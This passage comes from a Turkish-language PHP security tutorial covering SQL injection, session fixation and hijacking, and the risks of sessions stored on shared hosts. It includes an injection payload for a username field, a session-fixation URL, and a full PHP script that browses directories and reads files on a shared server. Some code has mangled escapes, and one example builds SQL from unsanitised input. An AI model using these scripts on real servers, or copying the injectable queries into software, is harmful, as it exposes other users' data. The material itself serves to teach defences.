<?php
$sql = "INSERT INTO users (reg_username,reg_password,reg_email)
VALUES (’{$_POST[’reg_username’]}’,’$reg_password’,’{$_POST[’reg_email’]}’)";
?>
```

$_POST kullanılıyor. Bu sorgunun basitçe bir kullanıcı hesabı açma işlemi olduğunu düşünelim. Kayıt işleminde geçici bir şifre oluşturulup kullanıcıya mail atıldığını düşünelim. Artniyetli bir kullanıcı kullanıcı adı yerine aşağıdaki metni girdiğinde:

```
bad_guy’, ’mypass’, ’’), (’good_guy
```

Bu herhangi bir veri kontrolünden geçirilmediğinde direk olarak SQL sorgusunda aşağıdaki gibi bir değişiklik oluşturur :

PHP Kodu:

```
<?php
$sql = "INSERT INTO users (reg_username, reg_password, reg_email)
VALUES (’bad_guy’, ’mypass’, ’’), (’good_guy’,’1234’,’shiflett@php.net’)";
?>
```

Bu durumda sorgu bir hesap oluşturması gerekirken iki hesap oluşturacak.Bu örnek çok zararlı görülmeyebilir. Artniyetli kişi SQL değiştirmeyi başardığı zaman yapabileceği SQL dilinin yapabilecekleri ile sınırlıdır.Bazı veritabanlarında aynı anda birden fazla SQL cümlesi gönderilebilir. Böyle durumlarda saldırgan gerçek sorguyu sonlandırıp istediği sorguyu çalıştırabilir.MySQL öntanımlı olarak birden çok sorgu cümleciğinin aynı anda işlenmesine izin vermemektedir. Yeni sürümlerde birden fazla sorgu PHP eklentisi (ext/mysqli) *mysqli_query()* yerine *mysqli_multi_query()* kullanılarak gönderilebilir. Tek sorgu ile çalışılması ve çoklu sorgu işelemeye izin verilmemesi tehlikeyi azaltır.SQL değiştirmeyi engellemek için dışardan alınan bütün verileri kontrol edin.Bu cümle tekrar edildiği kadar önemlidir. Sıkı bir kontrol birçok tehlikeyi başlamadan engeller."’" kullanın.Eğer veritabanı izin veriyorsa (MySQL verir) SQL içindeki bütün değerleri "’" içine alın.Çakışmayı kontrol edin.Bazen normal metinlerde SQL benzeri metin parçaları olabilir. Bu tür durumlarda veritabanının bunu ayırt etmesi için *mysql_escape_string()* yada veritabanının sağladığı fonksiyonları kullanılmalıdır. Eğer veritabanı böyle bir fonksiyon sağlamıyorsa *addslashes()* son çare olarak kullanılabilir.Oturum YönetimiOturum TespitiOturumlar sıkça saldırılara hedef olurlar. Oturum saldırılarının temel

mantık bir kullanıcının yetkilerini onu taklit ederek çalışmaktır.Bir saldırgan için ilk etapta en önemli bilgi oturum anahtarıdır. Oturum anahtarını elde etmek için kullanılan üç temel yol vardır: TahminYakalanaTespitTahmin yönteminde adında belirtildiği gibi anahtarın tahmini esasına dayanmaktadır. PHP'nin temel oturum fonksiyonları kullanıldığında üretilen oturum anahtarları tamamen rastgele üretildiği için tahmin edilmesi çok güçtür.Elegeçirme yönteminde ise oturum anahtarı elde edilmeye çalışılır. Genellikle oturum anahtarları çerezlerle yada GET değişkeni olarak taşındığı için anahtarı elde etmek için çerezler ve GET kontrol edilir. Çerezler tarayıcı tarafından da korunduğu için GET yöntemine göre daha güvenlidirler (Tarayıcıların zaman zaman bu konuda zayıflıkları ortaya çıkmıştır). Oturum anahtarını taşımak için çerezlerin kullanılması tavsiye edilir.Tespit yöntemi oturum anahtarını elde etmek için kulanılan en basit yöntemdir. Eğer oturum yönetimi sırasında sadece *session_start()* kullanılıyorsa bu durum tehlike oluşturur.Tespit yöntemini açıklama için örnek bir betik session.php ile başlayalım:

PHP Kodu:

```
<?php
session_start();
if (!isset($_SESSION['visits']))
{
$_SESSION['visits'] = 1;
}
else
{
$_SESSION['visits']++;
}
echo $_SESSION['visits'];
?>
```

Sayfa ilk ziyaret edildiğinde sayfada 1 görüntülenir. Sayfa her ziyaret edildiğinde bu değer bir artar.Bu betiği çerezleri silerek (ilk defa ziyaret ediyor olmak için) URL'ye "*?PHPSESSID=1234*" ekleyerek çağıralıraka oturum açılır. Daha sonra tamamen farklı bir tarayıcı ile (farklı bir bilgisayar da olabilir) aynı şekilde çağırıldığında oturumun devam ettiği görülür.Hemen akla 'Bu durumda ne sakınca var?' sorusu gelebilir. Kullanıcı sayfaya üretilmiş bir oturum anahtarıyla gönderilir. Anahtar kod tarafından oturuma kaydedilir (Yukaridaki örnek için geçerli). Saldırgan tarafından üretilen anahtar artık geçerli bir anahtardır ve bu anahtarı kullanılarak kullanıcının bütün yetkilerine sahip olunabilir. Saldırgan bu oturum anahtarını istediği şekilde kullanabilir.Bu tür bir saldırıyı engellemek oldukça basittir. Eğer bir oturum anahtarına sahip aktif bir oturum yoksa yeni bir oturum anahtarı oluşturulup oturum aktif edilerek devam edilir. Aşağıdaki kod basitçe bu işi yapmaktadır :

PHP Kodu:

```
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>
```

Bu basit çözümü bir saldırgan herhangi bir oturum anahtarı için oturumu aktif ederek ve bu anahtarı kullanarak saldırısını gerçekleştirebilir.Bu tür saldırılardan korunmak için bu saldırıların ancak

kullanıcının belli seviyede yetkiye sahip olduğunda saldırgan için faydalı olacağı düşünülmelidir. Dolayısıyla kullanıcın yetkisinin değiştiği (sisteme giriş yapılması gibi) her aşamada oturum anahtarı yeniden oluşturulup değiştirilmelidir.Oturum ÇalmaOturum çalma başka bir kullanıcının oturumuna sahip olma anlamına gelir.Oturum çalmanın ilk aşaması yukarıdaki yöntemleri veya başka yöntemleri kullanarak oturum anahtarını ele geçirmektir.Bu bölüm oturum anahtarının elegeçirilmesi durumunda tehlikenin daha aza indirilmesi için yapılabilecekler hakkındadır. Oturum anahtarı elegeçirildikten sonra neler yapılabilir?
Basit bir oturum yönetiminde oturumu ele geçirmek için, tek gerekli olan şey oturum anahtarıdır. Oturum hakkında daha fazla bilgi edinmek için HTTP isteklerine de bakılabilir.
Not : TCP/IP seviyesindeki bilgiler (Örneğin IP adresi) çok güvenilir değildir ve üst seviyedeki işlemler hakkında bilgi vermezler. Örneğin kullanıcın IP adresi işlem sırasında değişebilir. *Recall a typical HTTP request*:

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Sadece Host başlığı HTTP/1.1 için gereklidir. Oturum çalmayı engellemek için tutarlılık önemlidir. Yani kullanıcın aynı kişi olduğundan emin olmak gereklidir.Yukarıdaki isteğin farklı bir User-Agent başlığına sahip olduğu düşünülürse aşağıdaki bir istek geldiğinde :

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
```

Aynı çerez gönderilmesine rağmen bu isteği yapanın aynı kullanıcı olup olmadığı önemlidir. User-Agent başlıklarının değerindeki farklılık kullanıcının tarayıcı değiştirdiğini gösterir. Bu mantıklı değildir çünkü kullanıcı sayfada gezinirken tarayıcıyı aynı oturumda değiştiremez. Oturum yönetimine yeni bir kontrol eklemek sağlamlaştırır.

PHP Kodu:

```
<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
/* &thorn;ifre ekran&yacute;*/
exit;
}
}
else
{
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>
```

Şimdi saldırgan User-Agent başlığının değerini de doğru olarak göndermek zorundadır. Bu tabiki saldırganın işini biraz daha zorlaştırır.Bu durumu daha da geliştirmemiz gereklidir. Çünkü saldırgan ilk önce kendi sitesini ziyaret ettirerek doğru User-Agent değerini bulabilir.User-Agent değerinin MD5 ile şifrelenmiş halini kullanmak işi zorlaştırsa da tecrübeli bir saldırgan tarafından tahmin edilebilir. Saldırganın tahminini zorlaştırmak için bu şifrelenmiş değere rastgele bir değer ekleyerek zorlaştırabiliriz :

PHP Kodu:

```
<?php
$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';

/* Add any other data that is consistent */
$fingerprint = md5($string);
?>
```

Oturum kontrolü sırasında herhangi bir hata tespit edildiğinde kullanıcıya suçlu muamelesi yapılmamalıdır ve sadece şifre sormak çoğu zaman yeterlidir. Bu hem daha yumuşak bir çözümdür hem de kullanıcıların güvenlik önlemlerini görmelerini sağlar.Bu konuda birçok koruma yöntemi vardır. En azından direk olarak *session_start()* kullanmadan önce oturum kontrollerinin yapılması belli aşamada güvenlik sağlar. Her zaman akılda tutulması gereken ise art niyetli kullanıcıları engellemeye çalışıorken normal kullanıcıların işini zorlaştırmamaktır Not : Bazı güvenlik uzmanları User-Agent başlığının yüzde yüz tutarlı olmadığını belirtmişleridir. Bunun sebebi ise HTTP vekil sunucusu kullanılan sistemlerde *User-Agent* değerinin kolayca değiştirilebileceği biliniyor. Yazar kişisel olarak böyle bir durumla karşılaşmadığını fakat göz önünde bulundurulması gerektiğini belirtiyor. *Accept* başlığı "Internet Explorer" tarayıcısında sayfa yenilendiğinde değiştiği için bu başlık kontroller sırasında kullanılmamalıdır. Paylaşılan barındırıcılar (Birden Fazla Web sayfası Barındıran Sunucular (*Shared Hosts*)) Açık Oturum BilgileriWeb sayfası birden fazla sayfanın bulunduğu bir sunucuda bulunduruluyorsa tek başına bir tek sunucuda (*dedicated server*) bulunması durumundan daha fazla riske sahiptir.Paylaşılan sunucuların en büyük riski oturum bilgilerinin ortak bir yerde saklanmasıdır. Ön tanımlı olarak PHP oturum bilgilerini "/tmp" altında doslayarda tutuyor. Ön tanımlı değerlerin her zaman saldırganların için ilk baktıkları yer olduğuna dikkat edilmelidir. Oturum dosyalarına sadece *Web* sunucusu ulaşabilir :

```
$ ls /tmp
total 12
-rw------- 1 nobOdy nobOdy 123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw------- 1 nobOdy nobOdy 123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw------- 1 nobOdy nobOdy 123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$
```

Tabiki bir PHP kodu sayesinde bu dosyalara kolayca ulaşılabilir.php.ini dosyasındaki safe_mode belirteci bu ve buna benzer durumları engeller. Fakat saldırganlar farklı programlama dilleri kullanarak oturum bilgilerine ulaşmaya çalışabilirler.Bunun için şöyle bir çözüm uygulanabilir. Herkesin kullandığı yerler oturum kayıt etmek için kullanılmamalıdır. Veritabanaı, ki sadece sizin hesabınız tarafından ulaşılacaktır, oturum bilgilerinin kaydı için kullanılabilir. Bu *session_set_save_handler()* fonksiyonu kullanılarak yapılabilir.Oturum bilgilerinin veritabanında tutulmasını sağlayan bir PHP örneği :

PHP Kodu:

```php
<?php
session_set_save_handler('open', 'close', 'read', 'write', 'destroy', 'clean');
function open() {
global $_sess_db;
if ($sess_db = mysql_connect('127.0.0.1', 'myuser', 'mypass')) {
return mysql_select_db('sessions', $_sess_db);
}
return false;
}
function close() {
global $_sess_db;
return mysql_close($_sess_db);
}
function read($id) {
global $_sess_db;

$sql = "SELECT data FROM sessions WHERE id = '$id'";

if ($result = mysql_query($sql, $_sess_db)){
$record = mysql_fetch_assoc($result);
return $record['data'];
}
return false;
}

function write($id, $data) {
global $_sess_db;
$access = time();
$data = mysql_escape_string($data);
$sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')";
return mysql_query($sql, $_sess_db);
}

function destroy($id) {
global $_sess_db;
$sql = "DELETE FROM sessions WHERE id = '$id'";
return mysql_query($sql, $_sess_db);
}

function clean($max) {
global $_sess_db;
$old = time() - $max;
$sql = "delete from sessions where access < '$old'";
return mysql_query($sql, $_sess_db);
}

?>
```

Bu kod veritabanında sessions adında ve aşağıdaki yapıda bir tablo olmasını gerektirir. Tablo

```
:mysql> DESCRIBE sessions;
+--------+------------------+------+-----+---------+-------+
| Field  | Type             | Null | Key | Default | Extra |
+--------+------------------+------+-----+---------+-------+
| id     | varchar(32)      |      | PRI |         |       |
| access | int(10) unsigned | YES  |     | NULL    |       |
| data   | text             | YES  |     | NULL    |       |
+--------+------------------+------+-----+---------+-------+
```

Bu tablo aşağıdaki SQL komutu ile oluşturulabilir :

SQL Kodu:

```
CREATE TABLE sessions (
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);
```

Oturum bilgileri veritabanında saklandığında oturum güvenliği veritabanı güvenliğine bırakılmış olur.Dosya Sisteminin TaranmasıAşağıdaki kodlar bir sunucuda denendiğinde dosya sistemi içinde gezintiyi yapılmasını sağlar.

PHP Kodu:

```
<?php
echo "<pre>\\\\\\\\\\\\\\\\\\\n";
if (ini_get('safe_mode')) {
echo "[safe_mode enabled]\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\n";
}
else {
echo "[safe_mode disabled]\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\n";
}

if (isset($_GET['dir'])) {
ls($_GET['dir']);
}
elseif (isset($_GET['file'])) {
cat($_GET['file']);
}
else {
ls('/');
}

echo "</pre>\\\\\\\\\\\\\\\\\\n";

function ls($dir) {
$handle = dir($dir);

while ($filename = $handle->read()) {
$size = filesize("$dir$filename");
if (is_dir("$dir$filename")) {
```

```
            if (is_readable("$dir$filename")) {
            $line = str_pad($size, 15);
            $line .= "<a href=\\\\\\\\\\\\\\\\\\\\\"{$_SERVER['PHP_SE LF']}?
dir=$dir$filename/\\\\\\\\\\\\\\\\\\\\\">$filename/</a>";
            }
            else {
            $line = str_pad($size, 15);
            $line .= "$filename/";
            }
}
else {
if (is_readable("$dir$filename")) {
$line = str_pad($size, 15);
$line .= "<a href=\\\\\\\\\\\\\\\\\\\\\"{$_SERVER['PHP_SELF']}?
file=$dir$filename\\\\\\\\\\\\\\\\\\\\\">$filename</a>";
}
else {
$line = str_pad($size, 15);
$line .= $filename;
}
}
echo "$line\\\\\\\\\\\\\\\\\\\\n";
}
$handle->close();
}

function cat($file)
{
ob_start();
readfile($file);
$contents = ob_get_contents();
ob_clean();
echo htmlentities($contents);
return true;
}
?>
```

safe_mode belirteci ile bu tür PHP kodlarının çalışması engellenir, ama aynı betik başka dillerde yazılırsa bu belirtec faydasız kalır.En güzel çözüm çok değerli bilgilerin veritabanında saklanmasıdır ve yukarıda bahsedilen veritabanı güvenliği konusunu uygulamaktır (*$_SERVER['DB_USER']* ve *$_SERVER['DB_PASS']* değişkenlerinin bahsedildiği yöntem gibi).Paylaşılan bir sunucu kullanmak yerine mümkünse uygulamaya özel sunucu kullanmak daha güvenlidir. Çünkü aynı sunucuyu paylaşılan artniyetli kişilerden korunmak oldukça güçtür.